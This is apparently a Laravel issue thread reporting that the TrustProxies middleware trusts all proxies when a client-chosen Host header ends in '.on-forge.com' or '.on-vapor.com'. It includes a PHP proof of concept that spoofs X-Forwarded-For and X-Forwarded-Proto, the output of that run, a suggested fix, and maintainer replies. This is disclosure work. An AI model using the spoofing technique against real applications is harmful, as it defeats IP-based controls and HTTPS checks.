Proxy Trust Granted on Missing trustedproxy.proxies Configuration File

[mindlaess]

Laravel Version

12.22.0, 13.0.0

PHP Version

8.4

Database Driver & Version

No response

Description

Illuminate\Http\Middleware\TrustProxies ships in Laravel's default global middleware stack and decides whether the application should honour X-Forwarded-* headers. That decision is a trust boundary: forwarding headers are only meaningful once the request has been shown to originate from a known reverse proxy, which is normally established by matching REMOTE_ADDR — the one request property an attacker cannot forge — against an operator-configured proxy list.

When no trusted proxies have been configured, the middleware attempts to auto-detect Laravel's own hosting platforms and, on a match, trusts every proxy. Of the three auto-detection conditions, only laravel_cloud() reads server-side state; the other two key on the request's Host header:

$trustedIps = $this->proxies() ?: config('trustedproxy.proxies');   // :69

if (is_null($trustedIps) &&
    (laravel_cloud() ||                                             // :72  server-side
     str_ends_with($request->host(), '.on-forge.com') ||            // :73  client-controlled
     str_ends_with($request->host(), '.on-vapor.com'))) {           // :74  client-controlled
    $trustedIps = '*';                                              // :75
}

handle() clears the trusted-proxy list at line 54 before this check runs. Request::host() delegates to Symfony's getHost(), which substitutes X-Forwarded-Host only when the request already arrives from a trusted proxy; with the list empty that condition is false by construction, so $request->host() returns the raw client-supplied Host header. The security decision is therefore taken on attacker-controlled input, and on a match the trusted-proxy list is set to 0.0.0.0/0 and ::/0 at line 122 — every host on the internet.

Nothing in a default installation prevents the attacker from supplying that Host value. The TrustHosts middleware, which would reject unrecognised hosts, is excluded from the stack by protected $trustHosts = false in Foundation/Configuration/Middleware.php:105, and the documentation states that Laravel responds to all requests regardless of Host by default. No trustedproxy.php configuration file ships with the framework, so the config('trustedproxy.proxies') fallback at line 69 resolves to null and the auto-detection branch is reached.

Suggested Remediation

Remove the two str_ends_with($request->host(), ...) clauses at lines 73-74. Platform auto-detection must derive from server-side state, exactly as the adjacent laravel_cloud() call already does by reading $_ENV['LARAVEL_CLOUD'] / $_SERVER['LARAVEL_CLOUD'] (Support/helpers.php:233-237). Forge and Vapor should expose an equivalent provisioning-time environment variable, and the branch should key on that:

if (is_null($trustedIps) && (laravel_cloud() || laravel_forge() || laravel_vapor())) {
    $trustedIps = '*';
}

Additionally, the documentation for trusted proxies does not describe it as a security control, while the config('trustedproxy.proxies') fallback read at line 69 is not documented at all. Framing trusted-proxy configuration as a trust-boundary decision would make the consequences of leaving it unset visible to operators.

Steps To Reproduce

1. Create an empty working directory containing a single composer.json:

{
    "require": {
        "laravel/framework": "^13.0"
    }
}

2. Install the dependencies:

composer install

3. Create poc.php alongside it with the following content. Each request is built with a fixed, honest REMOTE_ADDR of 198.51.100.7 and a forged X-Forwarded-For: 1.2.3.4; only the Host: header varies:

<?php

require __DIR__.'/vendor/autoload.php';

use Illuminate\Config\Repository;
use Illuminate\Container\Container;
use Illuminate\Http\Middleware\TrustProxies;
use Illuminate\Http\Request;

// A container is only needed so the config('trustedproxy.proxies') lookup
// inside TrustProxies resolves. It is left empty, i.e. no proxies configured.
$container = new Container;
$container->instance('config', new Repository([]));
Container::setInstance($container);

function probe(string $host): void
{
    Request::setTrustedProxies([], Request::HEADER_X_FORWARDED_FOR);

    $request = Request::create('http://'.$host.'/', 'GET', [], [], [], [
        'REMOTE_ADDR'            => '198.51.100.7',   // the real client socket
        'HTTP_HOST'              => $host,
        'HTTP_X_FORWARDED_FOR'   => '1.2.3.4',        // forged by the client
        'HTTP_X_FORWARDED_PROTO' => 'https',          // forged by the client
    ]);

    (new TrustProxies)->handle($request, fn ($r) => $r);

    printf("Host: %-18s trustedProxies=%-26s ip()=%-14s secure()=%s\n",
        $host,
        json_encode(Request::getTrustedProxies()),
        $request->ip(),
        $request->secure() ? 'true' : 'false'
    );
}

probe('app.example');        // control: ordinary host
probe('pwn.on-forge.com');   // attacker-chosen suffix
probe('x.on-vapor.com');     // attacker-chosen suffix

4. Run it:

php poc.php

5. Observe that the client-supplied Host: header alone decides whether the forged X-Forwarded-For is honoured:

Host: app.example        trustedProxies=[]                         ip()=198.51.100.7   secure()=false
Host: pwn.on-forge.com   trustedProxies=["0.0.0.0\/0","::\/0"]     ip()=1.2.3.4        secure()=true
Host: x.on-vapor.com     trustedProxies=["0.0.0.0\/0","::\/0"]     ip()=1.2.3.4        secure()=true

The first line is the control: with an ordinary Host:, no proxies are trusted and ip() correctly returns the real REMOTE_ADDR. On lines two and three the request is byte-for-byte identical apart from the Host: value, yet the trusted-proxy list has become 0.0.0.0/0 + ::/0, ip() now returns the attacker-chosen 1.2.3.4, and secure() has been spoofed to true via X-Forwarded-Proto. No server-side state was changed between the three calls — laravel_cloud() is false throughout, and $proxies is unset.

[crynobone]

The reproduction example relies heavily on custom code outside of a normal Laravel application, so moving this to Ideas.

Also documentation already explains the proper usage: https://laravel.com/framework/docs/13.x/requests#configuring-trusted-proxies

[HIRATRA]

Thanks for the clarification. I agree that the standalone reproduction doesn't represent the normal Laravel application bootstrap.

One thing that still seems worth clarifying is the trust boundary around the automatic Forge/Vapor detection: the current TrustProxies logic uses the request host to decide whether to trust all proxies, while the documented configuration path allows applications to explicitly define trusted proxies.

Would it make sense to document why the Forge/Vapor host-based detection is considered safe, or alternatively have the platform detection rely on a server-side signal rather than the incoming Host value?

I'm mainly interested in understanding the intended security model here, rather than treating the standalone reproduction as proof of a vulnerability.